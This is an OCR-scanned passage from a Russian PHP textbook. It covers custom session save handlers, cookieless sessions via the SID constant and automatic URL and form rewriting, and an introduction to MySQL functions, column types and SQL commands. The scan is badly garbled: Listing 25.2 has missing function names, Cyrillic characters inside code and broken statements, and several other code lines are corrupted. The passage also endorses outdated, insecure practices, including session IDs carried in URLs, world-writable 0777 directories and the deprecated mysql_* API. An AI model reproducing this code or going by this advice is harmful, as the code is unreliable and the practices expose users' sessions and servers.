Замечание

На самом деле обработчик вызывается не при каждом запуске сценария, а только изредка. Когда определяется конфигурационным параметром А именно, им задается (в процентах), какова вероятность того, что при очередном запуске сценария будет выбран обработчик "чистки мусора". Сделано это для улучшения производительности сервера, потому что обычно сборка мусора — довольно ресурсоемкая задача, особенно если сессий много.

Регистрация обработчиков

Вы, наверное, обратили внимание, что при описании обработчиков я указывал их имена с префиксом handler. На самом деле, это совсем не является обязательным. Даже наоборот — вы можете давать такие имена своим обработчикам, какие только захотите.

Но возникает вопрос: как же тогда РНР их найдет? Вот для этого и существует функция регистрации обработчиков, которая говорит интерпретатору, какую функцию он должен вызывать при наступлении того или иного события.

void session set _save_handlerf$open,$close,$read,$write,Sdestroy,$gc)

Эта функция регистрирует подпрограммы, имена которых переданы в ее параметрах, как обработчики текущей сессии. Параметр $ореп содержит имя функции, которая будет вызвана при инициализации сессии, а close - функции, вызываемой при ее закрытии. В $read и $write нужно указать имена обработчиков, соответственно, для чтения и записи во временное хранилище. Функция с именем, заданным в $destroy, будет вызвана при уничтожении сессии. Наконец, обработчик, определяемый параметром $дс, используется как сборщик мусора.

Эту функцию можно вызывать только до инициализации сессии, в противном случае она просто игнорируется.

Пример: переопределение обработчиков

Давайте напишем пример, который бы иллюстрировал механизм переопределения обработчиков. Мы будем держать временные хранилища сессий в подкаталоге sessiondata текущего каталога, и для каждого имени группы сессий создавать отдельный каталог.

Код листинга 25.2 довольно велик, но не сложен. Тут уж ничего не поделаешь — нам в любом случае приходится задавать все 6 обработчиков, а это выливается в "объемистые" описания.

Листинг 25.2. Переопределение обработчиков сессии

// Возвращает полное имя файла временного хранилища сессии.

/ / В случае, если нужно изменить тот каталог, в котором должны // храниться сессии, достаточно поменять только эту функцию function ses_fname($key) { '

return "sessiondata/".session_name()."/$key”;

у

Заглушки — эти функции просто ничего не делают function( return true; }

function{ return true; }

// Чтение данных из временного хранилища function { Получаем имя файла у. открываем файл $fname=ses_fname($key) ; return Читаем до конца файла $st=fread($f,filesize($fname) ) ; fclose($ f); return // Запись данных сессии во временное хранилище function ( $fname=ses_ fname(Skey) ; Сначала создаем все каталоги (в случае, если они уже есть, // игнорируем сообщения об ошибке) '@mkdir ($d=dirname(dirname($fname) ) ,0777); @mkdir (di rname($ fname) , 0777) ; // Создаем файл и записываем в него данные сессии return fwrite($f,$val); fclose($f); return true; ) // Вызывается при уничтожении сессии function($key)

{ return

// Сборка мусора — ищем все старые файлы и удаляем их function

$dir=ses_fname (".")■;

// Получаем доступ к каталогу текущей группы сессии

$d=@opendir($dir); if(!$d) return false;

$DelDir=l;//Признактого,чтокаталогпуст, иегоможноудалить

// Читаем все элементы каталога while(($e=readdir($d))!=false) {

"точки", пропускаем их

if($e=="."| h$e=n. .") continue;

// Файл слишком старый?

if (time () -filemtime ($fname="$dir/$e") >=$maxl if etime) { gunlink($fname) ;

continue;

)

// Нашли не очень старый файл — значит, каталог точно // не будет в результате работы пуст.

$DelDir=0;

}

closedir($d);

// Если все файлы оказались слишком старые и удалены, // удалить и каталог if($DelDir) grmdir($dir);

return true;

// Регистрируем наши новые обработчики

session_set_save_handler(

"ses_open", "ses_close", "ses_read", "ses_wrice", "ses_destroy", "ses_gc"

// Для примера подключаемся к группе сессий test session_name("test") ;

session_start();

session_register("count");

// Дальше как обычно.. .

$count=@$count+l;

<body>

<Н2>Счетчик</Н2>

В текущей сессии работы с браузером Вы открыли эту страницу

<?=$count?> раз (a) . Закройте браузер, чтобы обнулить этот счетчик.

</body>

Сессии и Cookies

До сих пор я подразумевал, что использование сессий немыслимо без Cookies. Действительно, Cookies представляют собой наиболее элегантное и простое решение задачи идентификации каждого подключившегося пользователя, что необходимо для связи временного хранилища и данных сессии. Но как быть, если пользователи отключили Cookies в своих браузерах?

Примечание

К сожалению, пользователи отключают Cookies гораздо чаще, чем это может показаться на первый взгляд. Например, всего год назад Всероссийский Клуб Вебмастеров проводил опрос, в результате которого выяснилось, что количество пользователей Интернета, отключивших у себя по каким-то соображениям поддержку Cookies, достигает 20—30%. Что это за соображения? Многие думают, что Cookies потенциально являются "дырой" в безопасности их компьютера. Это совершенно не соответствует действительности, потому что браузеры всегда имеют ограничения на количество и суммарный объем Cookies, которые могут быть в них установлены. Другие же просто не хотят, чтобы неизвестно кто писал что угодно на их жесткий диск. Правда, это не мешает таким "перестраховщикам" открывать пришедший по почте исполняемый файл — такой же, как из письма типа "Love letter"...

В общем, вы видите, что для абсолютной уверенности в работоспособности ваших сценариев на любом браузере нужен механизм, позволяющий отказаться от использования Cookies при управлении сессиями. Такой механизм действительно существует в РНР, и основная его идея состоит в том, чтобы передавать идентификатор сессии не в Cookies, а каким-нибудь аналогичным путем — например, в данных запроса GET. Последнее мы сейчас и рассмотрим.

Явное использование

константы SID

В РНР существует одна специальная константа с именем SID. Она всегда содержит имя группы текущей сессии и ее идентификатор в формате имя=идентификатор. Вспомните: именно в таком формате данные принимаются, когда они приходят из Cookies браузера. Таким образом, нам доста-

точно просто-напросто передать значение константы SID в сценарий, чтобы он "подумал", будто бы данные пришли из Cookies. Вот пример:

Листинг 25.3. Sesget.php: простой пример использования сессий без Cookies |

session_name{ "test”) ;

session_start();

session_register("count") ;

$count=@$count+l;

?>

<ЬбкЗуг

<Ь2>Счетчик</Ь2>

В текущей сессии работы с браузером Вы открыли эту страницу

<?=Scount?> раз (aj . Закройте браузер, чтобы обнулить этот счетчик.<hr>

<а href=sesget .php?<?=SID?»Click here ! </a>

</body>

Если набрать в браузере адрес вроде такого:

http://www.somehost.ru/sesget.php

то создастся новая сессия с уникальным идентификатором. Разумеется, если сразу же нажать кнопку Обновить, счетчик не увеличится, потому что при каждом запуске будет создаваться новое временное хранилище -- у РНР просто нет информации об идентификаторе пользователя. Теперь обратите внимание на предпоследнюю строчку листинга 25.3. Видите, как хитро мы передаем в сценарий, запускаемый через гиперссылку, данные об идентификаторе текущей сессии? Теперь с его точки зрения они якобы пришли из Cookies

Внимание

Все будет работать так, как описано, только в том случае, если в браузере действительно отключены Cookies Если же они включены, РНР просто не будет генерировать константу SID (она будет пустой) и задействует Cookies. Все вполне логично.

Неявное изменение гиперссылок

Похоже, что вы уже начали думать о том, как же это все-таки неудобно - везде вставлять участки кода <?=SID?>, и, пропусти вы их в одном месте, придется долго искать ошибку? Что же, законный повод для беспокойства, но, к счастью, разработчики РНР уберегли нас и от этой напасти.

Вы не поверите, но, если в какой-нибудь гипессылке вы по ошибке пропустите <?=SID?>, PHP вставит его за вас автоматически. Причем так, чтобы это никак не повредило другим параметрам, возможно, уже присутствующим в URL. Если вы в шоке, то запустите следующий сценарий в браузере, а затем наведите мышь на гиперссылку и посмотрите в строке состояния, какой адрес имеет ссылка:

<?session_start() ?>

<body>

<а href=/path/to/something.php>Click here!</axbr>

<a href=/path/to/something.html?a=aaa&b=bbb>Click here!</axbr>

<a href=/>Click here!</aXbr>

</body>

Вот адреса этих ссылок с точки зрения браузера:

http://www.somehost.ru/path/to/something.php?PHPSESSID=8114536a920bfb01fhttp://www.somehost. ru/path/to/something. htnil?a=aaa&b=bbb&PHPSESSID=86a20 http://www.somehost.ru/?PHPSESSID=8114536a920bfb2a

(Я немного урезал идентификаторы сессий, чтобы они уместились на странице этой книги.) Обратите внимание на второй адрес: он говорит, что идентификатор корректно вставился в конец обычных параметров страницы. Третий пример заставляет задуматься о том, что идентификатор сессии прикрепляется к URL независимо от типа документа, на который он указывает.

Внимание

Описанная только что возможность работает лишь в том случае, если в настройках РНР установлен в значение истина параметр session.use_trans_sid. Он как раз и включен по умолчанию.

Зачем же тогда нужна константа SID? Да незачем. Это — устаревший прием передачи идентификатора сессии, и я привел его здесь только для того, чтобы нарисовать более полную картину, что в действительности происходит, а также показать, насколько иногда РНР может быть услужлив.

Неявное изменение формы

Возможно, прочитав этот заголовок, вы еще более обрадуетесь. Да, РНР умеет не только изменять гиперссылки, он также и добавляет скрытые поля в формы, которые формирует сценарий, чтобы передать идентификатор сессии вызываемому документу! Это ставит последнюю точку над i в вопросе поддержки сессий для пользователей, которые отключили у себя Cookies.

Напоследок рассмотрим пример сценария, который выводит обыкновенную пустую форму, и в ней, как по мановению волшебной палочки, появляется дополнительное скрытое поле с идентификатором сессии.

<?session_start()?>

<form action=aaa method=post>

</ form>

А вот почти дословно то, что выдается в браузере (Internet Explorer) после запуска этого сценария и выбора в меню пункта Просмотр в виде HTML:

<form action="aaa" method="post">

< IN PUT TYPE=HIDDEN NAME="PHPSESSID" VALUE="0a717e848e91dbllb524a">

</form>

Как видим, РНР добавил в форму скрытое поле с нужным именем и значением. Он также заключил в кавычки значения атрибутов тэга <form> (правда, я сам не ожидал увидеть такой эффект, когда опробовал этот сценарий). Что же, кавычки так кавычки, хуже от этого не будет.

Так использовать Cookies в сессиях или нет?

Ответ — да, использовать. Для этого мы должны быть уверены, что в настройках РНР параметр session.use_ cookies установлен в значение true (именно оно присваивается ему по умолчанию при установке РНР).

Что же делать, если пользователь отключил у себя Cookies? Да ничего. Так как РНР автоматически добавляет идентификатор сессии ко всем ссылкам и формам, которые он встретит, сценарии все равно будут продолжать работать. Вот только их URL (да и всех других документов тоже) немного удлинятся, но, думаю, это не так уж и критично. Главное, что сессии будут работать. Только не забудьте удостовериться, что в конфигурационном файле РНР включена ОПЦИЯ session. use_trans_sid.

Итак, разработчики РНР добились, чтобы сценарию, рассчитанному на сессии, было все равно, включены Cookies в браузере пользователя, или нет. Давайте активно этим пользоваться.

Глава 26

Работа с базой данных MySQL

База данных — совокупность связанных данных, сохраняемая в двумерных таблицах информационной системы. Программное обеспечение информационной системы, обеспечивающей создание, ведение и совместное использование баз данных, называется системой управления базами данных (СУБД). В этой главе мы рассмотрим функции РНР, предназначенные для работы с одной из самых популярных СУБД — MySQL. В РНР есть функции для "общения" и с другими системами управления базами данных (например, Sybase, Oracle и т. д.), но я остановился именно на MySQL в силу ее простоты и универсальности для большинства приложений. Конечно, прежде чем работать с MySQL, нужно установить соответствующее программное обеспечение — программу-сервер MySQL. Как это сделать в системе Windows, подробно описано во второй части настоящей книги.

Замечание )

Данная глава ни в коей мере не претендует на исчерпывающее описание языка SQL и системы управления базами данных MySQL. Здесь приведен только основной минимум материала. Имея его под рукой, можно начинать писать сценарии, использующие MySQL. Если вам понадобится подробная документация, вы сможете найти ее в любом дистрибутиве MySQL.

Итак, с точки зрения программы база данных MySQL представляет собой удачно организованный набор поименованных таблиц. Каждая таблица - массив (возможно, очень большой) из однородных элементов, которые я буду называть записями. В принципе, запись — неделимая единица информации в базе данных, хотя по запросу можно получать и не всю ее целиком, а только какую-то часть.

Запись может содержать в себе одно или несколько именованных полей. Число и имена полей задаются при создании таблицы. Каждое поле имеет определенный тип (например, целое число, строка текста, массив символов и т. д).

Примечание

Если вы в замешательстве и так и не поняли до конца, что же такое таблица, просто представьте себе Excel, таблицу на раскрученном рулоне туалетной бу-

маги, прямоугольную матрицу, сильно вытянутую по вертикали, или, наконец, двумерный массив. Строки таблицы/матрицы/массива и будут записями, а столбцы в пределах каждой строки — полями.

В таблицу всегда можно добавить новую запись. Другая операция. которую часто производят с записью (точнее, с таблицей) — это поиск. Например, запрос поиска может быть таким: "Выдать все записи, в первом поле которых содержится число, меньшее 10, во втором — строка, включающая слово word, а в третьем — не должен быть ноль". Из найденных записей в программу можно извлекать какие-то части данных (или не извлекать), также записи таблицы можно удалить.

Следует еще раз заметить, что обычно все упомянутые операции осуществляются очень быстро. Например, Microsoft SQL Server может за 0,01 секунды из 10 миллионов записей выделить ту, у которой значение определенного поля совпадает с нужным числом или строкой. Высокое быстродействие в большей мере обусловлено тем, что данные не просто "свалены в кучу", а определенным образом упорядочены и все время поддерживаются в таком состоянии.

Неудобство работы с файлами

Прежде чем мы займемся базами данных MySQL и их поддержкой в РНР, давайте определимся, для чего вообще в Web-программировании могут понадобиться базы данных? Ответ на этот вопрос не вполне очевиден, особенно для людей, сталкивающихся со "стандартными" базами данных впервые.

В самом деле, казалось бы, любой сценарий можно реализовать, основываясь только на работе с файлами. Например, иерархический форум можно хранить в файлах и каталогах: раздел форума — это директория, а конкретный вопрос в нем — файл. Однако ненужная избыточность таких сценариев, мягко говоря, удивляет. Нужно постоянно держать под контролем множество вспомогательных параметров и файлов. Кроме того, крайне усложняется поиск по форуму или создание архива. По правде сказать, работа с файлами — дело нудное и весьма и весьма утомляет.

В противоположность файловой организации хранения информации, использование баз данных дает весомые преимущества. Например, легко сортировать записи по дате/времени, организовывать поиск, различные отборы записей. Правда, многие базы данных не поддерживают иерархические, вложенные таблицы. Но и это не беда: просто достаточно у каждой записи в специальном поле хранить идентификатор ее "родителя", мы вскоре поговорим об этом чуть подробнее.

Базы данных также лишены еще одного крупного недостатка файлов: с ними нет проблем с совместным доступом к данным. Ведь вполне может ока-

заться, что ваш сценарий запустят два одновременно заглянувших на страничку человека. Конечно, если сценарий обновляет какой-то файл в процессе своей работы, могут возникнуть проблемы, если не принять надлежа- ших мер по блокировке файла. Кроме того, нужно минимизировать время обновления файла, а это не всегда возможно. С базами данных таких проблем не существует, потому что разработчики предусмотрели их (проблем) решение на самом низком уровне и с максимальной эффективностью.

В довершение, чаще всего работа с базами данных происходит быстрее, чем с файлами. В первых обычно предусмотрена эффективная организация хранения информации, минимизирующая время доступа и поиска. Например, вполне реально за приемлемое время найти среди десятков тысяч записей какую-то определенную (скажем, по заданному идентификатору). Или провести поиск по нескольким мегабайтам текста какого-то ключевого слова и обнаружить все записи, которые его содержат.

Устройство MySQL

Одна из самых популярных СУБД, которые используются в Web- программировании, — MySQL. Она предназначена для создания небольших (сравнительно, конечно — скажем, не более 100 Мбайт) баз данных, и поддерживает некоторое подмножество языка запросов SQL.

SQL — специально разработанный стандарт языка запросов к базам данных. В нем присутствуют такие команды, как:

создание/удаление таблицы;

создание записей в заданной таблице;

поиск/удаление записей;

обновление некоторых полей указанной записи.

Немного подробнее с языком SQL мы будем разбираться чуть позже. А пока давайте посмотрим, что из себя представляет MySQL.

MySQL — это программа-сервер, постоянно работающая на компьютере. Клиентские программы (например, сценарии) посылают ей специальные запросы через механизм сокетов (то есть при помощи сетевых средств), она их обрабатывает и запоминает результат. Затем, также по специальному запросу клиента, весь этот результат или его часть передается обратно.

Почему всегда передается не весь результат? Очень просто: дело в том, что размер результирующего набора данных может быть слишком большим, и на его передачу по сети уйдет чересчур много времени. Да и редко когда бывает нужно получать сразу весь вывод запроса (то есть все записи, удовлетворяющие выражению запроса). Например, нам может потребоваться

лишь подсчитать, сколько записей удовлетворяет тому или иному условию, или же выбрать из данных только первые 10 записей.

Механизм использования сокетов подразумевает технологию клиент-сервер, а это означает, что в системе должна быть запущена специальная профамма - MySQL-сервер, которая принимает и обрабатывает запросы от программ. Так как вся работа происходит в действительности на одной машине, накладные расходы по работе с сетевыми средствами незначительны (установка и поддержание соединения с MySQL-сервером обходится довольно дешево).

Как я уже говорил, структура MySQL трехуровневая: базы данных — таблицы — записи. Один сервер MySQL может поддерживать сразу несколько баз данных, доступ к которым может разфаничиваться логином и паролем. Зная эти логин и пароль, можно работать с конкретной базой данных. Например, можно создать или удалить в ней таблицу, добавить записи и т. д. Обычно имя-идентификатор и пароль назначаются хостинг-провайдерами, которые и обеспечивают поддержку MySQL для своих пользователей.

Соединениесбазойданных

Но прежде чем работать с базой данных, необходимо установить с ней сетевое соединение, а также провести авторизацию пользователя. Для этого СЛУЖИТ фуНКЦИЯ mysql_connect ( ) .

int mysql_connect ([string $hostname] [,string $username] [.string $password])

Функция mysql—Connect о устанавливает сетевое соединение с базой данных MySQL, расположенной на хосте Shostname (по умолчанию это Localhost, т. е. текущий компьютер), и возвращает идентификатор открытого соединения. Вся дальнейшая работа ведется именно с этим идентификатором. При регистрации указывается имя пользователя Susername и пароль Spassword (по умолчанию имя пользователя, от которого запущен текущий процесс, и пустой пароль). Строка $hostname также может включать в себя номер порта в формате: имя_хоста:порт (если сервер MySQL настроен не на стандартный, а на какой-то другой порт, что делать, вообще говоря, не рекомендуется).

При следующем запуске функции с теми же самыми аргументами второе соединение не будет открыто, а функция возвратит идентификатор уже существующего. Соединение с MySQL-сервером будет автоматически закрыто по завершении работы сценария, либо же при вызове функции mysql_close(). Если вы планируете открывать только одно соединение с базой данных за все время работы сценария, то можете не сохранять воз-

Глава 26. Работа с базой данных MySQL 365 вращенное значение, а также не указывать идентификатор соединения при вызове всех остальных функций.

int mysql_select_db(string Sdbname [,int $link_identifier])

До того как послать первый запрос серверу MySQL, необходимо указать, с какой базой данных мы собираемся работать. Для этого и предназначена описываемая функция. Она уведомляет РНР, что в дальнейших операциях с соединением $link_identifier (или с последним открытым соединением, если указанный параметр не задан) будет использоваться база данных $dbname.

Обработка ошибок

Если в процессе работы с MySQL возникают ошибки (например, в запросе не сбалансированы скобки или же не хватает параметров), то сообщение об ошибке и ее номер можно получить с помощью следующих двух функций.

int mysql_errno([int $link_identifier])

Функция возвращает номер последней зарегистрированной ошибки. Идентификатор соединения Slink identifier можно не указывать, если за время работы сценария было установлено только одно соединение.

string mysql_error([int $link_identifier])

Эта функция возвращает не номер, а строку, содержащую текст сообщения об ошибке. Ее удобно применять в отладочных целях.

Выполнение запросов к базе данных

Теперь мы подходим непосредственно к тому, как формировать и посылать запросы к базе данных. Для этого существует одна-единственная функция - mysql_query о — и возвращает она не что иное, как идентификатор результирующего набора данных.

Помните, мы говорили, что результат сразу не пересылается клиенту? Так вот, чтобы до него добраться, и служит этот идентификатор. Существует очень много функций, которые принимают его в качестве параметра и возвращают те или иные данные. Их мы рассмотрим чуть позже.

int mysql_query(string Squery [,int $link_identifier])

Эта функция в своем роде универсальна: она посылает MySQL-серверу запрос $query и возвращает идентификатор ответа, или результата. Параметр Squery представляет собой строку, составленную по правилам языка SQL. Используется установленное ранее соединение $1ink_identifier, а в случае его отсутствия — последнее открытое соединение.

Есть несколько команд SQL, которые возвращают только признак, успешно они выполнились или нет (например, это команды UPDATE, INSERT и т. д.). В таком случае этот признак и будет возвращен функцией. Наоборот, для запроса SELECT возвращается как раз идентификатор вывода, нулевое значение которого свидетельствует о том, что произошла ошибка.

На самом деле существует еще одна функция для выполнения запроса, но использовать ее менее удобно, поскольку всякий раз приходится указывать имя базы данных, к которой осуществляется доступ.

int mysql(string $dbname, string $query [,int $link_identifier] )

Служит для тех же целей, что и функция mysql_query о , только обращение осуществляется не к текущей выбранной базе данных, а к указанной в параметре $dbname. Если вы владеете сразу несколькими базами данных и обращаетесь к ним одновременно, то, возможно, применение этой функции окажется для вас оправданным. Как обычно, параметр $link_identifier можно опустить, тогда используется последнее открытое соединение.

Язык запросов MySQL

Разумеется, весь язык запросов SQL в рамках одной главы описать просто невозможно. О нем сочиняют (и будут сочинять) "объемистые" книги. Однако самые основные команды я в этой главе приведу. Более подробно о них (и о некоторых других инструкциях) будет рассказано в части V книги, где описаны и другие распространенные приемы программирования.

Все без исключения запросы к базе данных посылаются при помощи одной- единственной функции — mysql_query() (или mysql () , см. рассуждения выше). Они должны передаваться ей в виде строкового параметра. Этот параметр, впрочем, может быть и многострочным — т. е., содержать символы перевода строки. MySQL допускает включение любого количества пробелов, символов табуляции или перевода строки везде, где разрешено использование одного пробела (в этом смысле он похож на РНР и большинство других языков программирования).

Язык SQL позволяет нам создавать довольно сложные запросы. Ниже перечислены наиболее употребительные команды MySQL.

Создание таблицы

create table ИмяТаблицы(ИмяПоля тип, ИмяПоля тип, ...)

Этой командой в базе данных создается новая таблица с колонками (полями), определяемыми своими именами (ИмяПоля) и указанными типами.

Типы полей

Сейчас я перечислю практически все типы полей, которые могут применяться в MySQL. Их довольно много. Квадратными скобками, по традиции, я буду помечать необязательные элементы.

Целые числа

Существует несколько разных типов целых чисел, различающихся количеством байтов данных, которые отводятся в базе данных для их хранения. Все эти типы рознятся только названиями и (с некоторыми сокращениями) записываются так:

префиксТИТ [UNSIGNED]

Необязательный флаг UNSIGNED задает, что будет создано поле для хранения беззнаковых чисел (больших или равных 0). Имена типов, в вобшем виде обозначенные здесь как префиксТЫТ, приводятся в табл. 26.1.

Таблица 26.1. Типы целочисленных данных MySQL.

Тип

Описание

TINYINT

Может хранить числа от -128до +127

SMALLINT

Диапазон от -32 768 до 32 767

MEDIUMINT

Диапазон от -8 388 608 до 8 388 607

INT

Диапазон от -2 147 483 648 до 2 147 483 647

BIGINT

Диапазон от -9 223 372 036 854 775 808 до

9 223 372 036 854 775 807

Дробные числа

Точно так же, как целые числа подразделяются в MySQL на несколько разновидностей, MySQL поддерживает и несколько типов дробных чисел. В общем виде они записываются так:

ИмяТипа[(length,decimals)] [UNSIGNED]

Здесь length — количество знакомест (ширина поля), в которых будет размещено дробное число при его передаче в PHP, a decimals — количество знаков после десятичной точки, которые будут учитываться. Как обычно, UNSIGNED задает беззнаковые числа. Строка ИмяТипа замещается на предопределенные значения, соответствующие возможным вариантам представления вещественных чисел (табл. 26.2).

Таблица 26.2. Типы рациональных чисел в MySQL

Тип

Описание

FLOAT

Число с плавающей точкой небольшой точности

DOUBLE

Число с плавающей точкой двойной точности

REAL

СИНОНИМ ДЛЯ DOUBLE

DECIMAL

Дробное число, хранящееся в виде строки

NUMERIC

СИНОНИМ ДЛЯ DECIMAL

Строки

Строки представляют собой массивы символов. Обычно при поиске по текстовым полям по запросу SELECT не берется в рассмотрение регистр символов, т. е. строки "Вася" и "ВАСЯ " считаются одинаковыми. Кроме того, если база данных настроена на автоматическую перекодировку текста при его помещении и извлечении (см. ниже), эти поля будут храниться в указанной вами кодировке.

Для начала давайте ознакомимся с типом строки, которая может хранить не более length символов, где length принадлежит диапазону от 1 до 255.

VARCHAR(length) [BINARY]

При занесении некоторого значения в поле такого типа из него автоматически вырезаются концевые пробелы (как будто по вызову функции rtrim ()). Если указан флаг BINARY, то при запросе SELECT строка будет сравниваться с учетом регистра. Тип VARCHAR неудобен тем, что может хранить не более 255 символов. Вместо него я рекомендую использовать другие текстовые типы, перечисленные в табл. 26.3.

Таблица 26.3. Строковые типы данных таблиц MySQL

Тип

Описание

TINYTEXT

Может хранить максимум 255 символов

TEXT

Может хранить не более 65 535 символов

MEDIUMTEXT

Может хранить максимум 16 777 215 символов

LONGTEXT

Может хранить 4 294 967 295 символов

Чаще всего применяется тип TEXT, но если вы не уверены, что данные будут всегда короче 65 536 байтов, используйте LONGTEXT.

Замечание

Слухи о том, что TEXT-ТИПЫ занимают намного больше места на диске, чем аналогичныеVARCHAR-ПОЛЯ, сильнопреувеличены.

Бинарные данные

Бинарные данные — это почти то же самое, что и данные в формате TEXT, но только при поиске в них учитывается регистр символов ("abc" и "ABC" — разные строки). Вего имеется 4 типа бинарных данных (табл. 26.4).

Таблица 26.4. Типы бинарных данных, используемые в MySQL

Тип

Описание

TINYBLOB

Может хранить максимум 255 символов

BLOB

Может хранить не более 65 535 символов

MEDIUMBLOB

Может хранить максимум 16 777 215 символов

LONGBLOB

Может хранить 4 294 967 295 символов

вьов-данные не перекодируются автоматически, если при работе с установленным соединением включена возможность перекодирования текста "на лету".

Дата и время

MySQL поддерживает несколько типов полей, специально приспособленных для хранения дат и времени в различных форматах (табл. 26.5).

Таблица 26.5. Представление дат и времени в базах данных MySQL

Тип

Описание

DATE

Дата в формате гггг-мм-дд

TIME

Время в формате 44:MM:CC

DATETIME

Дата и время в формате гггг-мм-дд ЧЧ: MM: сс

TIMESTAMP

Время и дата в формате timestamp. Однако при получении значения поля оно отображается не в формате timestamp, а в виде ггггммддччммсс, что сильно умаляет преимущества его использования в РНР

Надо заметить, что в РНР будет проще самостоятельно генерировать дату и время при вставке данных в таблицу, а не задействовать встроенные в MySQL типы. Например, привлекательный с виду тип TIMESTAMP на деле

оказывается довольно неудобным, потому что отображается не в том виде, который мы ожидаем.

Перечисления и множества

MySQL поддерживает еще несколько специфических типов данных, использовать которые в РНР вряд ли целесообразно. Например, тип перечисления задает, что значение соответствующего поля может быть не любой строкой или числом, а только одним из нескольких указанных при создании таблицы значений: vaiuel,и т. д. Вот как выглядит имя типа перечисления:

ENUM(valuel,value2,value3, ...)

В отличие от всех остальных типов, множества означают, что в соответствующем поле может содержаться не одно, а сразу несколько значений (vaiuel,и т. д., т. е. — множество значений). Формат задания дан

ных такого типа имеет следующий вид:

SET (valuel,value2,value3,. . . )

Замечание)

Значений в множестве может быть не сколько угодно, а не более 64 штук. Иногда это сильно мешает при программировании.

Модификаторы и флаги типов

К типу можно также присоединять модификаторы, которые задают "поведение" и те операции, которые можно (или, наоборот, запрещено) выполнять с соответствующими столбцами. Самые распространенные из них сведены в табл. 26.6.

Таблица 26.6. Основные модификаторы MySQL

Модификатор

Описание

not null

Означает, что поле не может содержать неопределенное значение — в частности, поле обязательно должно быть инициализировано при вставке новой записи в таблицу (если не задано значение по умолчанию)

primary key

Отражает, что поле является первичнымт. е. иденти

фикатором записи, на которой можно ссылаться

auto_increment

При вставке новой записи поле получит уникальное значение, так что в таблице никогда не будут существовать два поля с одинаковыми номерами. (Мы поговорим об этом чуть позже.)

Default

Задает значение по умолчанию для поля, которое будет использовано, если при вставке записи поле не было проинициа- лизировано явно

Удаление таблицы

drop table ИмяТаблицы

Удаляет таблицу ИмяТаблицы. Таблица не обязательно должна быть пустой, так что будьте внимательны, чтобы случайно не "аннулировать" нужную таблицу с данными.

Вставка записи

insert into ИмяТаблицы(ИмяПоля! ИмяПоля2 ...) values('зн1','зн2',...)

Добавляет в таблицу ИмяТаблицы запись, у которой поля, обозначенные как ИмяПоляМ, установлены в значения, соответственно, 3HN. Те поля, которые В этой команде не перечислены, получают "неопределенные" значения (неопределенное значение — это не пустая строка, а просто признак, который говорит MySQL, что у данного поля нет никакого значения). Впрочем, если для не указанного здесь поля при создании таблицы был задан not null, то поле получит значение по умолчанию (чаще всего 0). Значения полей можно заключать и в обычные кавычки, но, по-моему, апострофы тут использовать удобнее. При вставке в таблицу бинарных данных (или текстовых, содержащих апострофы и слэши) некоторые символы должны быть "защищены" обратными слэшами, а именно, символы \, ’ и символ с нулевым кодом.

Удаление записей

delete from ИмяТаблицы where Выражение

Удаляет из таблицы ИмяТаблицы все записи, для которых выполнено выражение. Параметр выражение ■^^■и это просто логическое выражение, составленное почти что по правилам РНР. Вот показательный пример:

(id<10) and (name regexp 'а*Ь') and (аде=25)

В выражении, помимо имен полей, констант и операторов, могут также встречаться простейшие "вычисляемые" части, например: (id<10+ll*234).

Вообще говоря, формат выражения един для всех команд запросов, которые мы встретим в дальнейшем. Например, он же используется и в операции select, И В операции update.

Поиск записей

select * from Таблица where Выражение [order by ИмяПоля [desc]]

Эта команда — основная и очень мощная. Предназначена она для того, чтобы искать все записи, удовлетворяющие выражению выражение. Ее возможности гораздо более богаты, чем то сжатое изложение, которое я вам предлагаю, и о

13Зак. 699

них можно прочитать в книгах, посвященных SQL. Если записей несколько, то при указанном предложении order by они будут отсортированы по тому полю, имя которого записывается правее этого ключевого слова (если задан описатель desc, то упорядочивание происходит в обратном порядке). В предложении order by могут также задаваться несколько полей.

Особое значение имеет символ *. Он предписывает, что из отобранных записей следует извлечь все поля, когда будет выполнена команда получения выборки. С другой стороны, вместо звездочки можно через запятую непосредственно перечислить имена полей, которые требуют извлечения. Но чаще всего все же используется именно *.

Обновление записей

update Таблица set(ИмяПоля1='зн1', ИмяПоля1='зн21, ...) where Выражение

В таблице таблица для всех записей, удовлетворяющих выражению Выражение, указанные поля устанавливаются в соответствующие значения. Эта команда часто отдается, если не требуется обновлять сразу все поля какой-то записи, а нужно затронуть только некоторые.

Получение числа записей, удовлетворяющих выражению

Стоит рассмотреть еще одну часто востребуемую возможность MySQL — получение числа записей, удовлетворяющих некоторому выражению. Вообще говоря, существует несколько способов сделать это. Вот один из них:

select count(if(Выражение,1,NULL)) from Таблица

Уже этот пример показывает, насколько богаче язык MySQL по сравнению с тем, что было описано...

Получение уникальных значений столбцов

При использовании базы данных часто бывает крайне удобно узнать, какие уникальные значения существуют в данном столбце таблицы. Например, если у каждой записи в некоей статистической таблице, содержащей сведения о людях, у нас есть поле Country (страна), в котором указана страна проживания конкретного человека, и мы хотим выяснить, в каких же странах проживают все люди, дожившие до 30 лет, занесенные в таблицу, можно выполнить запрос:

select distinct ИмяПоля from Таблица where Выражение

В нашем случае ИмяПоля—Country, а Выражение — ЧТО-ТО вроде аде>=30. Этот запрос сгенерирует результат, состоящий из одного столбца, в котором и будут перечислены искомые страны.

Получение результата

После того как запрос выполнен и идентификатор результирующего набора данных возвращен, вы, возможно, захотите получить этот самый результат. Поговорим о том, что же он из себя представляет.

Результат — это просто набор данных, и количество вошедших в него записей можно узнать через mysql num_rows (). Например, если в предыдущем примере при выборке из таблицы оказалось, что в таблице имеются записи о 10 людях старше 30 лет, то мы в идентификаторе результата получим "ссылку" на 10 "строчек". Теперь мы можем считать в программу на РНР любую из них с помощью специальных функций, которые будут описаны ниже.

Каждая запись — это список значений полей, а именно, тех полей и в том же порядке, которые были указаны в запросе select . from таблица на месте многоточия (если там была звездочка, то все поля). Таким образом, результат — это такой своеобразный двумерный массив: первый индекс — номер записи и второй -- имя поля. Можете называть его прямоугольной таблицей или матрицей данных — как угодно.

Примечание j

Мне не нравится общепринятый в технической литературе термин "результирующий набор данных" — слишком уж он длинный и бесформенный. Вместо него я и дальше буду использовать слово "результат".

Параметры результата

int mysql_num_rows(int $result)

Функция mysql_num_rows() возвращает число записей в результате запроса. Таким образом, функция позволяет определить вертикальную размерность "двумерного массива результата".

int mysql_num_fields(int $result)

Эта функция возвращает число полей в одной строке результата, т. е., число колонок в результате $result. В силу сказанного, функция позволяет определить горизонтальную размерность "двумерного массива результата".

Получение поля результата

int mysql_result (int $result, int $row, mixed 5field)

